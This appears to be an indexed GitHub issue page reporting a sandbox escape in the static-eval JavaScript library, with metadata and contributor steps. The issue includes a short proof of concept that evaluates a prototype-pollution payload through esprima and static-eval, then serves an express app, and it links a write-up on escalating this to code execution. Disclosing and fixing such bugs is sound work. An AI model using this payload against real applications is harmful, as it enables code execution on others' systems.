Sandbox Escape

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Assessment

Difficulty
5/5
Estimated time
Over a week
Newbie friendliness
20/100
Issue type
Bug
Clarity
Needs clarification
Activity status
Stale
Tech stack
javascript
Domain
security

Research direction

The report provides a JavaScript PoC using static-eval and esprima.parse, with the exploit triggered at evaluate(ast); start by reproducing that expression and reviewing the linked sandbox-escape details. Done means the reported prototype-pollution path no longer escapes evaluation or executes unintended code, with regression coverage added in the project’s test suite.

Written by the indexing model from the issue text.

Description

poc

// make pollution
const evaluate = require('static-eval');
const parse = require('esprima').parse;

var src = `({})['__proto__']['__defineGetter__']('toString', ({})['constructor'])`
var ast = parse(src).body[0].expression;

evaluate(ast);

// serve webapp
const express = require('express');
const app = express();

app.get('/', (req, res) => {
    res.end('working!');
});

app.listen(8080);

details in
https://blog.p6.is/bypassing-a-js-sandbox/#Prototype-Pollution-to-Remote-Code-Execution

Dominant language
JavaScript
Stars
177
Forks
27
PR merge metrics
No merged PRs in 30d

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First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

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